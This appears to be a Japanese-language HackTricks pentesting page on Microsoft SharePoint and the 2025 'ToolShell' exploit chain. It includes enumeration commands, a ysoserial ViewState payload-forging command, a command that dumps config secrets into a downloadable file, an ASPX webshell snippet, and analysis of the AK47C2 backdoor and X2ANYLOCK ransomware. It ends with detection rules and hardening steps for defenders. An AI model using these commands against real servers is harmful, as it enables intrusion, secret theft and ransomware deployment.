Microsoft SharePoint – Pentesting & Exploitation

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Microsoft SharePoint (オンプレミス) は ASP.NET/IIS の上に構築されています。したがって、従来のウェブ攻撃面(ViewState、Web.Config、ウェブシェルなど)が存在しますが、SharePoint には数百の独自の ASPX ページとウェブサービスが付属しており、露出した攻撃面が大幅に拡大します。このページでは、Unit42 によって公開された 2025 年のエクスプロイトチェーン(CVE-2025-49704/49706/53770/53771)に重点を置いて、SharePoint 環境内での列挙、エクスプロイト、および持続性を確保するための実用的なトリックを集めています。

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – ToolPane.aspxにおけるコードインジェクション

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> は、任意の Server-Side Include コードをページに注入することを可能にし、後にASP.NETによってコンパイルされます。攻撃者は Process.Start() を実行するC#を埋め込み、悪意のあるViewStateをドロップすることができます。

2.2 CVE-2025-49706 – 不適切な認証バイパス

同じページは、サイトコンテキストを決定するために X-Forms_BaseUrl ヘッダーを信頼します。これを /_layouts/15/ に向けることで、ルートサイトで強制されるMFA/SSOを 未認証 でバイパスすることができます。

2.3 CVE-2025-53770 – 未認証のViewStateデシリアライズ → RCE

攻撃者が ToolPane.aspx 内のガジェットを制御すると、署名されていない (またはMACのみの) __VIEWSTATE 値を投稿でき、これが w3wp.exe 内で.NETデシリアライズを引き起こし、コード実行につながります。

署名が有効な場合は、任意の web.config から ValidationKey/DecryptionKey を盗み、ysoserial.net または ysodom を使用してペイロードを偽造します。

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – パス・トラバーサル / web.config 開示

ToolPane.aspx に細工された Source パラメータを送信することで (例: ../../../../web.config)、ターゲットファイルが返され、以下の情報が漏洩します:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH クッキーを偽造
  • 接続文字列と秘密情報。

3. 実際に観察されたポストエクスプロイトレシピ

3.1 すべての .config ファイルを抽出する (バリエーション-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

結果として得られる debug_dev.js は匿名でダウンロードでき、すべての 機密設定が含まれています。

3.2 Base64エンコードされたASPXウェブシェルをデプロイする(バリエーション-2)

powershell.exe -EncodedCommand <base64>

デコードされたペイロードの例(短縮版):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

書かれた対象:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

シェルは、マシンキーの読み取り/回転のためのエンドポイントを公開しており、これによりファーム全体でViewStateおよびASPXAUTHクッキーを偽造することができます。

3.3 難読化されたバリアント(バリエーション-3)

同じシェルですが:

  • ...\15\TEMPLATE\LAYOUTS\ に配置
  • 変数名が単一の文字に削減
  • サンドボックス回避とタイミングベースのAVバイパスのために Thread.Sleep(<ms>) が追加されました。

3.4 AK47C2 マルチプロトコルバックドア & X2ANYLOCK ランサムウェア(2025-2026年に観察)

最近のインシデントレスポンス調査(Unit42 “Project AK47”)では、攻撃者が初期RCEの後にToolShellチェーンを利用して、SharePoint環境にデュアルチャネルC2インプラントとランサムウェアを展開する方法が示されています:

AK47C2 – dnsclient バリアント

  • ハードコーディングされたDNSサーバー:10.7.66.10 が権威あるドメイン update.updatemicfosoft.com と通信。
  • メッセージは静的キー VHBD@H でXOR暗号化されたJSONオブジェクトで、16進数エンコードされ、サブドメインラベルとして埋め込まれています。
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • 長いクエリはチャンク化され、s でプレフィックスされ、サーバー側で再構成されます。
  • サーバーは同じXOR/16進数スキームを持つTXTレコードで応答します:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • バージョン202504では、簡略化されたフォーマット <COMMAND>::<SESSION_KEY> とチャンクマーカー 1, 2, a が導入されました。

AK47C2 – httpclient バリアント

  • 正確なJSON & XORルーチンを再利用しますが、16進数のブロブをHTTP POSTボディlibcurl を介して送信します(CURLOPT_POSTFIELDS など)。
  • 同じタスク/結果のワークフローを許可します:
  • 任意のシェルコマンドの実行。
  • 動的なスリープ間隔とキルスイッチの指示。

X2ANYLOCK ランサムウェア

  • DLLサイドローディングを通じて読み込まれる64ビットC++ペイロード(下記参照)。
  • ファイルデータにAES-CBCを使用し、AESキーをラップするためにRSA-2048を使用し、拡張子 .x2anylock を追加します。
  • ローカルドライブと発見されたSMB共有を再帰的に暗号化し、システムパスをスキップします。
  • 交渉のために静的なTox IDを埋め込んだ平文のメモ How to decrypt my data.txt をドロップします。
  • 内部のキルスイッチを含みます:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLLサイドローディングチェーン

  1. 攻撃者は dllhijacked.dll / My7zdllhijacked.dll を正当な 7z.exe の隣に書き込みます。
  2. SharePointから生成された w3wp.exe7z.exe を起動し、Windowsの検索順序のために悪意のあるDLLを読み込み、メモリ内でランサムウェアのエントリポイントを呼び出します。
  3. 別のLockBitローダーが観察され(bbb.msiclink_x86.execlink_dll_x86.dll)、シェルコードを復号化し、LockBit 3.0を実行するために d3dl1.dllDLLホロウイングを行います。

info

X2ANYLOCKで見つかった同じ静的Tox IDが漏洩したLockBitデータベースに現れ、アフィリエイトの重複を示唆しています。


4. 検出アイデア

テレメトリなぜ疑わしいのか
w3wp.exe → cmd.exeワーカープロセスはシェルをほとんど生成しないはずです
cmd.exe → powershell.exe -EncodedCommandクラシックなlolbinパターン
debug_dev.js または spinstall0.aspx を作成するファイルイベントToolShellからのIOC
ProcessCmdLine CONTAINS ToolPane.aspx(ETW/モジュールログ)公開されたPoCがこのページを呼び出します

例 XDR / Sysmonルール(擬似XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. ハードニングと緩和

  1. パッチ – 2025年7月のセキュリティ更新により、すべての 4つのCVEが修正されます。
  2. 妥協後は、すべての <machineKey>ViewState シークレットをローテーションします。
  3. WSS_WPG および WSS_ADMIN_WPG グループから LAYOUTS 書き込み権限を削除します。
  4. プロキシ/WAFレベルで /_layouts/15/ToolPane.aspx への外部アクセスをブロックします。
  5. ViewStateUserKeyMAC有効、およびカスタム EventValidation を有効にします。

関連するトリック

  • IISポストエクスプロイトとweb.configの悪用:

IIS - Internet Information Services

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする